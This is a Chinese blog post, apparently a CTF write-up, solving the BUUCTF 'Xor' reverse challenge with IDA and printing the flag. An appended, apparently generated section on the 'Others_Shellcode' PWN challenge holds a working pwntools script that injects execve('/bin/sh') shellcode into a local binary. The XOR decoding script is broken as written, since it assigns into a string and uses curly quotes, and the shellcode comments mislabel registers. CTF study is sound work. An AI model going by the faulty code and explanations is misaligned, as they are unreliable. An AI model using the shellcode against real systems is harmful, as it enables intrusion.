BUUCTF----Xor(天璇战队提供题目)

本文介绍了通过IDA Pro进行二进制文件分析的过程,包括检查文件无壳、遇到反编译错误的解决方法,以及如何从代码中解析出异或加密的数据,并通过脚本解密得到flag。最终成功验证flag,展示了逆向工程在信息安全中的应用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1.还是一样,拿到文件,习惯查壳

收集信息,无壳,32位程序

2.拖入ida中

F5转伪代码的时候,显示出错,翻译一下英文

发现不能正常反编译

百度一下原因,可能有两个

1、IDA无法识别出正确的调用约定。
2、IDA无法识别出正确的参数个数。

观察call调用的函数

 

发现就只需调用一个参数,所以是参数问题,去掉后面的一个参数就可以了

鼠标选中该函数,然后按y键,去掉后面的那个参数(可能显示不一样,我第一次做的时候显示是..., 但是现在写的时候右显示char),然后点OK,就可以正常F5了

 

 3.进入主函数

发现就是一个简单的异或

接下来就是抠数据,然后写脚本

 

tmp=[0x4D,0x53, 0x41, 0x57, 0x42, 0x7E, 0x46, 0x58, 0x5A, 0x3A,0x4A,0x3A, 0x60, 0x74, 0x51, 0x4A, 0x22, 0x4E, 0x40, 0x20,0x62, 0x70, 0x64, 0x64, 0x7D, 0x38, 0x67]
flag=“”
for i in range(27):
	flag[i]=i^tmp[i]
print(flag)

 最后得出flag为MRCTF{@_R3@1ly_E2_R3verse!}

拿到网站进行验证

正确!!!!! 

 

### BUUCTF Others Shellcode 题目解题思路 BUUCTF中的`Others_Shellcode`是一道典型的PWN类题目,主要考察选手对于Shellcode编写以及Linux环境下的漏洞利用能力。以下是关于该题目的核心解题思路: #### 一、题目背景与目标 此题目提供了一个可执行程序文件,其功能是读取用户输入并尝试运行特定指令。然而,由于存在某些安全机制未启用(如NX位关闭),攻击者可以注入自定义的Shellcode来实现任意命令执行。 通过分析可知,目标是要构造一段能够绕过现有防护措施的有效载荷(shellcode),最终达到获取flag的目的[^1]。 #### 二、具体技术细节解析 1. **逆向工程** 使用工具如Ghidra或者Radare2对给定二进制文件进行静态反汇编分析,确认入口点函数逻辑及其调用链路情况;同时也要注意查看是否有其他隐藏的功能模块被触发的可能性。 2. **确定ROP Gadget** 如果发现保护机制开启了部分控制流完整性验证,则可能需要用到Return-Oriented Programming (ROP) 技巧构建新的执行流程路径。这一步骤涉及查找合适的gadgets组合形成所需的系统调用序列。 3. **编写Shellcode** 基于上述准备好的信息,按照实际需求定制化设计payload内容。考虑到不同架构下寄存器分配规则差异等因素,在撰写过程中需格外小心处理字节顺序等问题以免引起错误行为发生。 4. **测试与调试** 利用QEMU模拟真实机器环境下多次试验调整直至成功完成挑战为止。期间还可以借助strace跟踪进程活动状况以便更好地理解整个交互过程的工作原理。 ```python from pwn import * context.arch = 'i386' shellcode = asm(''' xor eax, eax # 清零EAX 寄存器 push eax # 将 NULL 推入堆栈作为字符串终止符 # 此处创建 "/bin/sh\x00" 的一部分 push 0x68732f6e # hs/n push 0x69622f2f # ib// mov ebx, esp # EBX -> 参数1: 文件名指针 ("//bin/sh") cdq # EDX <- EAX 扩展成双字长形式 (清零EDX) # DX 是第二个参数,这里不需要设置任何东西 mov ecx, edx # ECX <- 第三个参数也是NULL mov al, 0xb # AL 设置为syscall编号 execve() int 0x80 # 发起中断请求操作系统服务 ''') p = process('./vuln') p.sendline(shellcode) log.success(f'Shellcode Sent! Waiting for shell...') p.interactive() ``` 以上脚本展示了如何生成适用于Intel x86体系结构的一个简单execve("/bin/sh", ...) 调用样例,并发送至服务器端等待响应。 --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

晓风.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值